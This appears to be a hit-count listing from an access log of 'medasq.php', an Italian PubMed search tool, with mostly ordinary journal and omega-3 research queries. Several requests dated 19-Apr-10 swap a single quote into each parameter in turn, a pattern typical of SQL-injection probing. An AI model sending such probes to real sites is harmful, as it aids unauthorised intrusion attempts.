15: : 6-Set-10 02:28: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
15: : 17-Ago-10 21:07: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Journals&free=
15: : 10-Lug-10 01:53: /medasq.php?z=J+Proteome+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 23-Ago-10 20:03: /medasq.php?z=Dev+Neuropsychol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 24-Ago-10 01:44: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=200&daevidenziare=&azione=Show&free=
15: : 2-Set-10 11:33: /medasq.php?z=Ai+Zheng&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 17-Ago-10 01:11: /medasq.php?z=Clin+Investig&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 28-Ago-10 22:37: /medasq.php?z=Clin Ter&abstract=1...vesiamo=0&quanti=0&highlight=&dovesiamo=0&daevidenziare=&azione=Journals&free=
15: : 21-Gen-10 00:19: /medasq.php?z=(arthritis+rheum+[ta]+OR+br+j+rheumatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word
15: : 21-Gen-10 00:20: /medasq.php?z=(j+invest+dermatol+[ta]+OR+arch+dermatol+[ta]+OR+br+j+dermatol+[ta]+OR+j+am+acad+dermatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+anal
15: : 26-Ago-10 07:35: /medasq.php?z=Nippon+Koshu+Eisei+Zasshi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 11-Lug-10 09:07: /medasq.php?z=Mol+Reprod+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 24-Lug-10 07:30: /medasq.php?z=Curr+Opin+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 16-Giu-10 23:36: /medasq.php?z=Actas+Esp+Psiquiatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 20-Ago-10 22:49: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Journals&free=
15: : 6-Set-10 20:05: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=360&daevidenziare=&azione=Show&free=
15: : 18-Ago-10 14:07: /medasq.php?z=J+Med+Invest&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
15: : 7-Set-10 06:45: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=840&daevidenziare=&azione=Show&free=
15: : 2-Set-10 23:57: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
15: : 6-Set-10 12:43: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
15: : 30-Ago-10 19:57: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1220&daevidenziare=&azione=Show&free=
15: : 2-Set-10 15:00: /medasq.php?z=(arthritis%2520rheum%2520%255Bta%255D%2520OR%2520br%2520j%2520rheumatol%2520%255Bta%255D%2520)%2520AND%2520(%2522clinical%2520trials%2522%255BMeSH%2520Terms%255D%2520OR%2520%2522clinical%2520trial%2522%255BText%2520Word%255D%2520OR%2520%2522meta%2520analysis%2522%255BMeSH%2520Terms%255D%2520OR%2520%2522meta%2520analysis%2522%255BText%2520Word%255D%2520OR%2520%2522guideline%2522%255BAll%2520Fields%255D%2520OR%2520%2522consensus%2520development%2520conference%2522%255BAll%2520Fields%255D%2520OR%2520systematic%2520%255Bsb%255D)&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
15: : 8-Ago-10 06:25: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=860&daevidenziare=&azione=Show&free=
15: : 7-Ago-10 10:18: /medasq.php?z=J Physiol&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
15: : 21-Gen-10 00:19: /medasq.php?z=(hum+reprod+[ta]+OR+fertil+steril+[ta]+OR+am+j+reprod+immunol+[ta]+OR+contraception+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis%2
14: : 17-Ago-10 21:34: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
14: : 4-Lug-10 09:57: /medasq.php?z=Clin Immunol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
14: : 12-Apr-10 10:47: /medasq.php?z=Cathet+Cardiovasc+Diagn&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 24-Ago-10 22:13: /medasq.php?z=J+Mol+Cell+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 21-Lug-10 10:27: /medasq.php?abstract=1&quanti=10&highlight=1
14: : 5-Set-10 11:48: /medasq.php?z=Science&abstract=1&quanti=20&highlight=0&dovesiamo=240&daevidenziare=&azione=Journals&free=
14: : 3-Set-10 21:20: /medasq.php?z=Dtsch+Tierarztl+Wochenschr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 17-Ago-10 02:02: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hypertension [majr&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
14: : 14-Ago-10 04:52: /medasq.php?z=Ann+Cardiol+Angeiol+(Paris)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 15-Ago-10 19:38: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
14: : 19-Ago-10 09:26: /medasq.php?z=J+Vet+Med+A+Physiol+Pathol+Clin+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 21-Lug-10 14:43: /medasq.php?abstract=0&quanti=50&highlight=1
14: : 16-Ago-10 08:01: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 cardiovascular diseases [majr&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
14: : 27-Ago-10 20:02: /medasq.php?z=Int+Arch+Allergy+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 19-Ago-10 01:02: /medasq.php?z=Compend+Contin+Educ+Vet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 22-Ago-10 23:54: /medasq.php?z=Circ+Heart+Fail&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 15-Ago-10 08:48: /medasq.php?z=Biometals&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 17-Ago-10 22:00: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hyperlipidemia [majr&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
14: : 15-Lug-10 09:59: /medasq.php?z=Adv+Drug+Deliv+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 28-Ago-10 10:42: /medasq.php?z=Arch+Dermatol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 24-Lug-10 14:28: /medasq.php?z=Methods+Enzymol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 31-Lug-10 05:59: /medasq.php?z=Med Care&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
14: : 18-Ago-10 13:50: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (diabetes mellitus [mesh] | diab* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
14: : 17-Ago-10 21:12: /medasq.php?z=Int MS J&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
14: : 21-Set-09 11:39: /medasq.php?z=Spine&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 21-Lug-10 18:06: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Journals&free=
14: : 7-Set-10 16:44: /medasq.php?z=Expert+Opin+Drug+Metab+Toxicol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 14-Ago-10 05:03: /medasq.php?z=Infect+Agents+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 30-Lug-10 02:21: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Journals&free=
14: : 8-Giu-10 19:03: /medasq.php?z...0...
14: : 7-Set-10 05:41: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
14: : 9-Lug-10 16:15: /medasq.php?z=Reprod+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 25-Mag-10 11:00: /medasq.php?z...abstract=0...
14: : 7-Ago-10 10:23: /medasq.php?z=Exp+Clin+Transplant&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 7-Set-10 03:54: /medasq.php?z=Ukr+Biokhim+Zh&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 10-Lug-10 06:26: /medasq.php?z=Oncodev+Biol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 7-Lug-10 04:03: /medasq.php?z=J+Med+Case+Reports&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 15-Ago-10 19:33: /medasq.php?z=Ann Med&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
14: : 18-Lug-10 23:03: /medasq.php?z=Ann+Clin+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 27-Lug-10 12:47: /medasq.php?z=Cell+Mol+Neurobiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 17-Ago-10 22:19: /medasq.php?z=J+Diabetes+Complications&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
14: : 6-Set-10 13:37: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
13: : 19-Apr-10 00:40: /medasq.php?z=Spine J&abstract=1&...vesiamo=0&azione=' HTTP/1.0
13: : 14-Ago-10 04:31: /medasq.php?z=Exp+Mol+Pathol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 28-Ago-10 22:47: /medasq.php?z=Transgenic+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 17-Ago-10 23:20: /medasq.php?z=J+Membr+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 21-Ago-10 00:21: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Show&free=
13: : 21-Lug-10 20:25: /medasq.php?abstract=1&quanti=20&highlight=0
13: : 25-Ago-10 20:54: /medasq.php?z=Bipolar+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 24-Lug-10 00:40: /medasq.php?z=Rev+Med+Inst+Mex+Seguro+Soc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 21-Lug-10 23:45: /medasq.php?abstract=1&quanti=200&highlight=0
13: : 22-Lug-10 01:40: /medasq.php?abstract=1&quanti=200&highlight=1
13: : 21-Lug-10 19:57: /medasq.php?abstract=1&quanti=200&highlight=2
13: : 17-Ago-10 23:11: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
13: : 6-Set-10 05:53: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1240&daevidenziare=&azione=Show&free=
13: : 6-Set-10 11:46: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1640&daevidenziare=&azione=Show&free=
13: : 21-Lug-10 22:49: /medasq.php?abstract=1&quanti=10&highlight=0
13: : 21-Lug-10 16:37: /medasq.php?abstract=1&quanti=10&highlight=2
13: : 19-Apr-10 00:45: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight='
13: : 19-Apr-10 00:40: /medasq.php?z='
13: : 19-Apr-10 00:45: /medasq.php?z=Spine+J&abstract=1&quanti='
13: : 21-Lug-10 20:54: /medasq.php?abstract=1&quanti=1000&highlight=0
13: : 21-Lug-10 06:39: /medasq.php?abstract=1&quanti=1000&highlight=1
13: : 21-Lug-10 15:12: /medasq.php?abstract=1&quanti=1000&highlight=2
13: : 19-Apr-10 00:45: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione='
13: : 17-Ago-10 22:56: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (nervous system diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
13: : 21-Lug-10 22:20: /medasq.php?abstract=0&quanti=200&highlight=1
13: : 22-Lug-10 01:11: /medasq.php?abstract=0&quanti=200&highlight=2
13: : 21-Lug-10 19:29: /medasq.php?abstract=1&quanti=500&highlight=0
13: : 21-Lug-10 21:23: /medasq.php?abstract=1&quanti=500&highlight=1
13: : 21-Lug-10 04:24: /medasq.php?abstract=1&quanti=500&highlight=2
13: : 17-Ago-10 21:57: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (skin diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
13: : 21-Lug-10 08:05: /medasq.php?abstract=0&quanti=50&highlight=2
13: : 7-Set-10 07:48: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=420&daevidenziare=&azione=Show&free=
13: : 29-Ago-10 04:11: /medasq.php?z=Blood+Coagul+Fibrinolysis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 19-Ago-10 09:31: /medasq.php?z=Surg+Today&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 18-Ago-10 21:21: /medasq.php?z=Am+J+Prev+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 17-Ago-10 23:07: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (inflammatory bowel diseases [mesh] | inflamm* bowel [all] | colitis ulcer* [all] | ulcer* colitis [all] | crohn [all])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
13: : 18-Ago-10 21:11: /medasq.php?z=Rev+Invest+Clin&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 19-Apr-10 00:45: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo='
13: : 22-Ago-10 19:07: /medasq.php?z=Toxicology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
13: : 29-Lug-10 10:33: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Show&free=
13: : 21-Lug-10 19:00: /medasq.php?abstract=1&quanti=100&highlight=0
13: : 21-Lug-10 17:34: /medasq.php?abstract=1&quanti=100&highlight=2
13: : 21-Lug-10 23:17: /medasq.php?abstract=0&quanti=500&highlight=0
13: : 21-Lug-10 16:09: /medasq.php?abstract=0&quanti=500&highlight=1
13: : 17-Ago-10 00:35: /medasq.php?z=Metabolism&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
13: : 13-Ago-10 22:21: /medasq.php?z=Exp+Clin+Endocrinol+Diabetes&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 23-Ago-10 12:10: /medasq.php?z=Midwifery+Today+Int+Midwife&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 19-Apr-10 00:45: /medasq.php?z=Spine+J&abstract='
13: : 13-Lug-10 11:13: /medasq.php?z=Allergy+Asthma+Proc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 19-Ago-10 01:05: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 cardiovascular diseases [majr&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
13: : 2-Ago-10 12:56: /medasq.php?z=J+Control+Release&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 19-Apr-10 00:40: /medasq.php?z=Spine J&abstract=1&...vesiamo=' HTTP/1.0
13: : 28-Lug-10 22:33: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Show&free=
13: : 23-Ago-10 20:29: /medasq.php?z=Med+Sci+(Paris)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 15-Ago-10 19:38: /medasq.php?z=(j am geriatr soc [ta] OR age ageing [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
13: : 16-Ago-10 10:08: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (mental disorders [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
13: : 17-Ago-10 23:05: /medasq.php?z=Baillieres+Clin+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 16-Ago-10 09:40: /medasq.php?z=Prev+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 22-Lug-10 00:14: /medasq.php?abstract=0&quanti=100&highlight=0
13: : 21-Lug-10 11:24: /medasq.php?abstract=0&quanti=100&highlight=1
13: : 19-Apr-10 00:40: /medasq.php?z=Spine J&abstract=' HTTP/1.0
13: : 21-Lug-10 10:55: /medasq.php?abstract=0&quanti=20&highlight=0
13: : 22-Lug-10 02:38: /medasq.php?abstract=0&quanti=20&highlight=1
13: : 22-Lug-10 00:42: /medasq.php?abstract=0&quanti=20&highlight=2
13: : 25-Ago-10 20:53: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
13: : 1-Lug-10 00:49: /medasq.php?z=Annu+Rev+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 1-Set-10 21:48: /medasq.php?z=Biol Chem&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
13: : 18-Ago-10 11:30: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Journals&free=
13: : 25-Ago-10 18:14: /medasq.php?z=J+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 11-Lug-10 22:10: /medasq.php?z=Chem Biol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
13: : 6-Set-10 03:42: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Show&free=
13: : 1-Lug-10 23:43: /medasq.php?z=(j+periodontol+[ta]+OR+j+dent+[ta]+OR+j+clin+periodontol+[ta]+OR+caries+res+[ta]+OR+acta+odontol+scand+[ta]+OR+j+am+dent+assoc+[ta]+OR+j+oral+maxillofac+surg+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb%5
13: : 8-Ago-10 13:24: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=440&daevidenziare=&azione=Show&free=
13: : 19-Ago-10 06:15: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Journals&free=
13: : 6-Set-10 13:20: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
13: : 13-Lug-10 20:36: /medasq.php?z...abstract...
13: : 22-Lug-10 02:09: /medasq.php?abstract=0&quanti=10&highlight=0
13: : 14-Ago-10 15:07: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (diabetes mellitus [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
13: : 27-Ago-10 21:44: /medasq.php?z=Acta+Univ+Palacki+Olomuc+Fac+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 19-Apr-10 00:45: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=0&daevidenziare='
13: : 21-Lug-10 08:33: /medasq.php?abstract=1&quanti=50&highlight=0
13: : 21-Lug-10 17:06: /medasq.php?abstract=1&quanti=50&highlight=1
13: : 21-Lug-10 07:36: /medasq.php?abstract=1&quanti=50&highlight=2
13: : 27-Apr-10 15:08: /medasq.php?&dovesiamo=0&azione=Show
13: : 1-Set-10 16:51: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=200&daevidenziare=&azione=Show&free=
13: : 18-Ago-10 23:05: /medasq.php?z=Rinsho+Byori&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 15-Ago-10 05:57: /medasq.php?z=J+Hum+Lact&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 5-Set-10 08:34: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Journals&free=
13: : 6-Set-10 07:07: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1060&daevidenziare=&azione=Show&free=
13: : 30-Ago-10 23:43: /medasq.php?z=Arctic+Med+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 17-Ago-10 00:31: /medasq.php?z=Urology&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
13: : 28-Giu-10 15:19: /medasq.php?z=Saudi+J+Kidney+Dis+Transpl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 29-Lug-10 18:44: /medasq.php?z=Biotechnol J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
13: : 9-Ago-10 01:41: /medasq.php?z=Z+Naturforsch+C&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
13: : 21-Lug-10 18:03: /medasq.php?abstract=0&quanti=1000&highlight=0
13: : 21-Lug-10 09:59: /medasq.php?abstract=0&quanti=1000&highlight=1
